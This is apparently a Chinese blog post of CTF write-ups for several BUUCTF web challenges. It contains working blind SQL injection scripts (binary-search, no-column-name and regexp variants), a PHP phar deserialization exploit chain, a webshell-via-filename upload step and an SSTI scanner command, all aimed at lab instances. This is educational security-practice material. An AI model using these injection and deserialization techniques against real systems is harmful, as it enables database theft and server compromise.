[CISCN2019 總決賽 Day2 Web1]Easyweb
參考:
[CISCN2019 總決賽 Day2 Web1]Easyweb-CSDN部落格
[BUUCTF題解][CISCN2019 總決賽 Day2 Web1]Easyweb - Article_kelp - 部落格園 (cnblogs.com)
看robots.txt
發現有備份原始碼
然後我們又在看原始碼的地方發現了疑似注入的地方
那我們就把這個原始碼下載下來看一下image.php.bak
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
然後我們可以id=\0
,然後經過addslashes
這個函式,輸入的\0
會變成\\0
,然後再經過str_replace
這個函式,會將\0
變成空的,然後只剩下\
會把後面的單引號轉義,就可以在path
處構成注入語句
然後指令碼注入
import requests
url = "http://96c2eaee-b021-44ed-bc9d-664271afd669.node5.buuoj.cn:81/image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23" # 爆使用者名稱
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23" # 爆密碼
result = ""
for i in range(1, 100):
l = 1
r = 130
mid = (l + r) >> 1
while (l < r):
payloads = payload.format(i, mid)
print(url + payloads)
html = requests.get(url + payloads)
if "JFIF" in html.text:
l = mid + 1
else:
r = mid
mid = (l + r) >> 1
result += chr(mid)
print(result)
得到賬號密碼
admin
16b3dff770f1bbec6c28
登陸進來是一個檔案上傳
隨便傳了一個是以.php
結尾的
然後就是直接寫馬,因為提示說是file name
被儲存在裡面,所以我們需要在檔名寫馬
蟻劍連線 ,根目錄找到flag
flag{40bd5863-b69e-470f-a6e8-f2a20da19a00}
[GYCTF2020]Ezsqli
參考:
[GYCTF2020]Ezsqli(無列名注入)-CSDN部落格
先輸入以下語句,輸出的是Nu1L
2||1=1
再試試這個,發現回顯V&N
2||1=2
抓包發現是POST
傳參,引數為id
,然後我們搞一下指令碼,然後測試得到information
被過濾了
然後此處我們用的這個代替表sys.schema_table_statistics_with_buffer
import requests
url='http://b837823b-362b-4343-8e19-66de13da3fe2.node5.buuoj.cn:81/'
payload='2||ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))={1}'
result=''
for i in range(1,100):
for j in range(32,127):
payloads=payload.format(i,j)
data={'id':payloads}
re = requests.post(url=url, data=data)
if 'Nu1L' in re.text:
result += chr(j)
print(result)
改進版的二分法:
import requests
url='http://b837823b-362b-4343-8e19-66de13da3fe2.node5.buuoj.cn:81/'
payload='2||ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),{0},1))>{1}'
result=''
for i in range(1,100):
l = 1
r = 130
mid = (l + r) >> 1
while(l<r):
payloads=payload.format(i,mid)
data={'id':payloads}
re = requests.post(url=url, data=data)
if 'Nu1L' in re.text:
l = mid + 1
else:
r = mid
mid = (l+r)>>1
result += chr(mid)
print(result)
爆破出來的表名字為
users233333333333333,f1ag_1s_h3r3_hhhhh
然後因為information
被過濾了,我們開始考慮無列名注入
這裡我們使用ascii
偏移的利用,詳情可以看[GYCTF2020]Ezsqli(無列名注入)-CSDN部落格
字串比較大小時,先不論長度,先比較第一個字元的ascii碼大小,如果相等才會比較下一位,我們就可以利用這點,逐步爆出我們想要的資料
這邊也是使用師傅的指令碼了
import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1,200):
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break
然後也是莫名其妙的跑不出來,跑到一半就出了bug
最後拿這個師傅的跑的出來upfine的部落格 (cnblogs.com)
import requests
import time
def get_database(url,strings):
database_length = 1
DBname = ''
for i in range(1,100):
data = {
'id': "1&&(length(database()))="+str(i)
}
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
database_length = i
print('資料庫長度為:'+str(database_length))
break
for i in range(1,database_length+1):
for one_char in strings:
data = {
'id': "1&&substr(database()," + str(i) + ",1)='"+str(one_char)+"'"
}
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
DBname = DBname + one_char
print("\r", end="")
print('正在獲取資料庫名稱,當前已獲取到'+str(i)+'位 | '+DBname.lower(), end='')
break
def get_tablename(url,strings):
TBname = ''
print('表名字讀取中...')
for i in range(1, 100):
for one_char in strings:
data = {
'id': "1&&substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database())," + str(
i) + ",1)='"+str(one_char)+"'"
}
time.sleep(0.05)
rs = requests.post(url,data)
if 'Nu1L' in rs.text:
TBname = TBname + one_char
print("\r", end="")
print('表的名字為:' + TBname.lower(), end='')
break
if 'Nu1L' not in rs.text and one_char == '~':
return ''
def get_column(url,strings):
column_name = ''
tmp = ''
print('\nflag資訊讀取中...')
for i in range(1, 100):
for one_char in strings:
one_char = column_name + one_char
data = {
'id':"1&&((select 1,'"+str(one_char)+"') > (select * from f1ag_1s_h3r3_hhhhh))"
}
time.sleep(0.05)
rs = requests.post(url,data)
if 'Nu1L' not in rs.text:
tmp = one_char
if 'Nu1L' in rs.text:
column_name = tmp
print("\r", end="")
print('flag為:' + column_name.lower(), end='')
break
if __name__ == '__main__':
url = 'http://b837823b-362b-4343-8e19-66de13da3fe2.node5.buuoj.cn:81/index.php'
strings = ',-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#'
get_database(url,strings)
get_tablename(url,strings)
#原來是想著獲取column名稱,但是未獲取到,但是又懶得改名稱,所以使用的是column
get_column(url,strings)
flag{060c7e15-e4a7-4b52-900b-e8ece5d972dc}
[SWPUCTF 2018]SimplePHP
參考:[SWPUCTF 2018]SimplePHP - 何止(h3zh1) - 部落格園 (cnblogs.com)
phar反序列化+兩道CTF例題_ctf phar-CSDN部落格
開啟題目有個上傳,我試了試然後沒有回顯路徑,同時也得到提示flag.php
然後來到檢視檔案介面,也看不到我們上傳的檔案,但是url
有個引數,可能是檔案包含
然後我試著以下測試,發現是可以讀取到原始碼的
?file=index.php
然後就是可以把原始碼都儲存下來,然後最關鍵的就是class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
然後無unserialize()
,沒有過濾phar
,而且還存在檔案上傳
然後我們先看怎麼構造鏈子,我們先利用C1e4r::__destruct()
裡面的 echo $this->test;
,然後把這個C1e4r->test=new Show()
,然後這個會觸發Show::__toString()
方法,然後我們這時候需要把Show->str['str']=new Test
,那麼$this->str['str']->source
就是相當於Test->source
,而Test
類裡面沒有這個變數,就會觸發Test::__get(source)
,然後緊接著觸發Test::get(source)
這個方法,然後設定$this->params["source"]="/var/www/html/f1ag.php"
,就會執行$this>file_get("/var/www/html/f1ag.php")
,然後得到一個base64的返回值,
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;
$phar = new Phar("exp.phar"); //.phar檔案
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($c1e4r); //觸發的頭是C1e4r類,所以傳入C1e4r物件,將自定義的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //隨便寫點什麼生成個簽名,新增要壓縮的檔案
$phar->stopBuffering();
?>
然後會生成一個exp.phar
的檔案,我們抓包修改字尾上傳,然後去upload
目錄去看名字
然後再來到檢視檔案這裡
?file=phar://upload/59dfc3cff6aa945215710eef25f8c440.jpg
最後base64解碼得到flag
flag{7062064e-aec6-4c75-93e6-ff2a0171583d}
[NCTF2019]SQLi
參考:[BUUCTF題解][NCTF2019]SQLi - Article_kelp - 部落格園 (cnblogs.com)
[NCTF2019]SQLi(regexp注入) | (guokeya.github.io)
去訪問 /robots.txt
然後訪問/hint.txt
,然後是一個黑名單以及登入需要的條件
然後我們可以用\
跳脫字元轉義一個單引號,然後使用;%00
截斷,然後構成閉合
sqlquery : select * from users where username='\' and passwd=';%00'
sqlquery : select * from users where username=' \'and passwd=' ;%00'
變成了只查詢username欄位
然後我們構造payload試一下,查詢成功了,但是404
username=\&passwd=||1;%00
那我們就可以用regexp
正則來得到密碼,由於空格被過濾了,我們用 %09
username=\&passwd=||%09passwd%09regexp%09"^f";%00
發現查詢失敗,並沒有跳轉,然後我們寫指令碼盲注一下,然後我寫失敗了,還是做不到,只能跑出第一個字母,很離譜(後面也是搞出來了,放在第二個)
import requests
from urllib import parse
import string
import time
str1 = string.ascii_letters+'_'+string.digits
url='http://bd019efb-fb8f-45e8-a2c3-5cf86ab33402.node5.buuoj.cn:81//index.php'
flag='79'
a=parse.unquote('%00')
for i in range(50):
for i in str1:
data={"username":"\\",
"passwd":"||passwd/**/regexp/**/0x"+flag+hex(ord(i)).replace('0x','')+";"+a
}
r=requests.post(url=url,data=data)
if 'welcome.php' in r.text:
flag+=hex(ord(i)).replace('0x','')
print(flag)
break
time.sleep(0.5)
#防止429
import requests
import urllib
url='http://bd019efb-fb8f-45e8-a2c3-5cf86ab33402.node5.buuoj.cn:81/'
flag=''
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&(),-./:;<=>@[\]_`{|}~'
for i in range(1,100):
for j in s:
alpha = flag
alpha += j
data1='||/**/passwd/**/regexp/**/\"^{0}\";{1}'.format(alpha,urllib.parse.unquote('%00'))
data={'username':'\\','passwd':data1}
re = requests.post(url=url, data=data)
if 'welcome.php' in re.text:
flag += j
print(flag)
break
796f755f77696c6c5f6e657665725f6b6e6f7737373838393930
然後16進位制轉字元
you_will_never_know7788990
然後使用者名稱隨便填一個,用密碼登入
RootersCTF2019]I_❤️_Flask
開啟頁面,啥都沒有
然後推測是SSTI
但是沒有找到引數
然後直接fenjing
梭哈了
python -m fenjing scan --url http://1e86ca3d-bdb4-41d6-adda-f9719179a888.node5.buuoj.cn:81/
flag{e640b909-ff02-474f-baa2-9b3f6a8bdc3a}